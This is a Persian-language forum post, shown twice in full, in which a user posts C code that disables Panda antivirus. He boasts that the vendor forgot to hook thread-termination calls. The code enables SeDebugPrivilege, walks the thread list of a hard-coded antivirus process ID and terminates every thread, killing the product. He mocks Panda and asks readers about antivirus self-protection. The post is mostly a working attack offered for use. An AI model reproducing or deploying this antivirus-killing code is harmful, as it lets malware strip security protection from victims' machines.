r00tkit
چهارشنبه 14 دی 1390, 13:03 عصر
سلام
در ادامی
از کار انداختن kaspersky 2012 از user-mode
(http://barnamenevis.org/showthread.php?320952-%D8%A7%D8%B2-%DA%A9%D8%A7%D8%B1-%D8%A7%D9%86%D8%AF%D8%A7%D8%AE%D8%AA%D9%86-kaspersky-2012-%D8%A7%D8%B2-user-mode)
و
از کار انداختن on-access اسکنر Symantec Endpoint Protectio (http://barnamenevis.org/showthread.php?321386-%D8%A7%D8%B2-%DA%A9%D8%A7%D8%B1-%D8%A7%D9%86%D8%AF%D8%A7%D8%AE%D8%AA%D9%86-on-access-%D8%A7%D8%B3%DA%A9%D9%86%D8%B1-Symantec-Endpoint-Protection)n
گفتم بشینم Panda رو هم یه انالیز کنم ببینم چه خبره
نمی دونم self-protection چیز مهمی هستش یا نه ؟)
در کل اقایون panda انگار یادشون رفته OpenThread , ZwTherminateThread رو هوک کنن :))))
خوب کد زیر همه ی thread های انتی ویروس رو kill می کنه که باعث می شه کل پراسس kill بشه .
کد رو سریع نوشتم ( بعضی جا هاش مثال msdn هستش ) چون کد تکنیک خاصی و عجیبی نداره ( اصلا در کل چیزی نداره ) اینجا قرار می دم
پاندا واقعا چیز چرتی هستش این کار فقط برای شادی روح رفتگان بود و بس :))
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include<Psapi.h>
//#include<conio.h>
#pragma comment(lib,"psapi")
// Forward declarations:
BOOL ListProcessThreads( DWORD dwOwnerPID );
void printError( TCHAR* msg );
int SetDebugPriv()
{
HANDLE TokenHandle;
LUID lpLuid;
TOKEN_PRIVILEGES NewState;
if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &TokenHandle))
{
//failed
return 0;
}
if(!LookupPrivilegeValue(NULL, "SeDebugPrivilege" , &lpLuid))
{
//failed
CloseHandle(TokenHandle);
return 0;
}
NewState.PrivilegeCount = 1;
NewState.Privileges[0].Luid = lpLuid;
NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if(!AdjustTokenPrivileges(TokenHandle, FALSE, &NewState, sizeof(NewState), NULL, NULL))
{
//failed
CloseHandle(TokenHandle);
return 0;
}
CloseHandle(TokenHandle);
return 1;
}
void main( )
{
SetDebugPriv();
ListProcessThreads(1044);
/* HANDLE job=CreateJobObjectA(NULL,"M");
if(NULL==job)
{ return; printError("job");}
HANDLE p=OpenProcess(PROCESS_ALL_ACCESS,0,1948);
if(INVALID_HANDLE_VALUE==p)
{
return ;
}
char buffer[333];
if(GetModuleBaseNameA(p,NULL,buffer,sizeof(buffer) ))
printf("name is %s \n",buffer);
if(AssignProcessToJobObject(job,p))
{
printError("assign");return;
}
if(TerminateJobObject(job,0))
{
printError("kill");return;
}
CloseHandle(p);
CloseHandle(job);
*/
}
BOOL ListProcessThreads( DWORD dwOwnerPID )
{
HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
THREADENTRY32 te32;
// Take a snapshot of all running threads
hThreadSnap = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 );
if( hThreadSnap == INVALID_HANDLE_VALUE )
{ printError("error\n");return( FALSE ); }
// Fill in the size of the structure before using it.
te32.dwSize = sizeof(THREADENTRY32 );
// Retrieve information about the first thread,
// and exit if unsuccessful
if( !Thread32First( hThreadSnap, &te32 ) )
{
printError( "Thread32First" ); // Show cause of failure
CloseHandle( hThreadSnap ); // Must clean up the snapshot object!
return( FALSE );
}
// Now walk the thread list of the system,
// and display information about each thread
// associated with the specified process
do
{
if( te32.th32OwnerProcessID == dwOwnerPID )
{
HANDLE thread=OpenThread(THREAD_ALL_ACCESS,0,te32.th32Thr eadID);
if(thread==INVALID_HANDLE_VALUE)
printError("open thread\n");
TerminateThread(thread,0);
}
}
while( Thread32Next(hThreadSnap, &te32 ) );
// Don't forget to clean up the snapshot object.
CloseHandle( hThreadSnap );
return( TRUE );
}
pid
بدین جنازه تحویل بگیرین :))
دوستان لطف می کنن به این سوال جواب بدن ؟
self-protection
یه انتی ویروس برای شما مهم هستش ؟ اگه هستش چه وِیژگی ای داشته باشه؟
GOLD
نظر نداری؟ :)
در ادامی
از کار انداختن kaspersky 2012 از user-mode
(http://barnamenevis.org/showthread.php?320952-%D8%A7%D8%B2-%DA%A9%D8%A7%D8%B1-%D8%A7%D9%86%D8%AF%D8%A7%D8%AE%D8%AA%D9%86-kaspersky-2012-%D8%A7%D8%B2-user-mode)
و
از کار انداختن on-access اسکنر Symantec Endpoint Protectio (http://barnamenevis.org/showthread.php?321386-%D8%A7%D8%B2-%DA%A9%D8%A7%D8%B1-%D8%A7%D9%86%D8%AF%D8%A7%D8%AE%D8%AA%D9%86-on-access-%D8%A7%D8%B3%DA%A9%D9%86%D8%B1-Symantec-Endpoint-Protection)n
گفتم بشینم Panda رو هم یه انالیز کنم ببینم چه خبره
نمی دونم self-protection چیز مهمی هستش یا نه ؟)
در کل اقایون panda انگار یادشون رفته OpenThread , ZwTherminateThread رو هوک کنن :))))
خوب کد زیر همه ی thread های انتی ویروس رو kill می کنه که باعث می شه کل پراسس kill بشه .
کد رو سریع نوشتم ( بعضی جا هاش مثال msdn هستش ) چون کد تکنیک خاصی و عجیبی نداره ( اصلا در کل چیزی نداره ) اینجا قرار می دم
پاندا واقعا چیز چرتی هستش این کار فقط برای شادی روح رفتگان بود و بس :))
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include<Psapi.h>
//#include<conio.h>
#pragma comment(lib,"psapi")
// Forward declarations:
BOOL ListProcessThreads( DWORD dwOwnerPID );
void printError( TCHAR* msg );
int SetDebugPriv()
{
HANDLE TokenHandle;
LUID lpLuid;
TOKEN_PRIVILEGES NewState;
if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &TokenHandle))
{
//failed
return 0;
}
if(!LookupPrivilegeValue(NULL, "SeDebugPrivilege" , &lpLuid))
{
//failed
CloseHandle(TokenHandle);
return 0;
}
NewState.PrivilegeCount = 1;
NewState.Privileges[0].Luid = lpLuid;
NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if(!AdjustTokenPrivileges(TokenHandle, FALSE, &NewState, sizeof(NewState), NULL, NULL))
{
//failed
CloseHandle(TokenHandle);
return 0;
}
CloseHandle(TokenHandle);
return 1;
}
void main( )
{
SetDebugPriv();
ListProcessThreads(1044);
/* HANDLE job=CreateJobObjectA(NULL,"M");
if(NULL==job)
{ return; printError("job");}
HANDLE p=OpenProcess(PROCESS_ALL_ACCESS,0,1948);
if(INVALID_HANDLE_VALUE==p)
{
return ;
}
char buffer[333];
if(GetModuleBaseNameA(p,NULL,buffer,sizeof(buffer) ))
printf("name is %s \n",buffer);
if(AssignProcessToJobObject(job,p))
{
printError("assign");return;
}
if(TerminateJobObject(job,0))
{
printError("kill");return;
}
CloseHandle(p);
CloseHandle(job);
*/
}
BOOL ListProcessThreads( DWORD dwOwnerPID )
{
HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
THREADENTRY32 te32;
// Take a snapshot of all running threads
hThreadSnap = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 );
if( hThreadSnap == INVALID_HANDLE_VALUE )
{ printError("error\n");return( FALSE ); }
// Fill in the size of the structure before using it.
te32.dwSize = sizeof(THREADENTRY32 );
// Retrieve information about the first thread,
// and exit if unsuccessful
if( !Thread32First( hThreadSnap, &te32 ) )
{
printError( "Thread32First" ); // Show cause of failure
CloseHandle( hThreadSnap ); // Must clean up the snapshot object!
return( FALSE );
}
// Now walk the thread list of the system,
// and display information about each thread
// associated with the specified process
do
{
if( te32.th32OwnerProcessID == dwOwnerPID )
{
HANDLE thread=OpenThread(THREAD_ALL_ACCESS,0,te32.th32Thr eadID);
if(thread==INVALID_HANDLE_VALUE)
printError("open thread\n");
TerminateThread(thread,0);
}
}
while( Thread32Next(hThreadSnap, &te32 ) );
// Don't forget to clean up the snapshot object.
CloseHandle( hThreadSnap );
return( TRUE );
}
pid
بدین جنازه تحویل بگیرین :))
دوستان لطف می کنن به این سوال جواب بدن ؟
self-protection
یه انتی ویروس برای شما مهم هستش ؟ اگه هستش چه وِیژگی ای داشته باشه؟
GOLD
نظر نداری؟ :)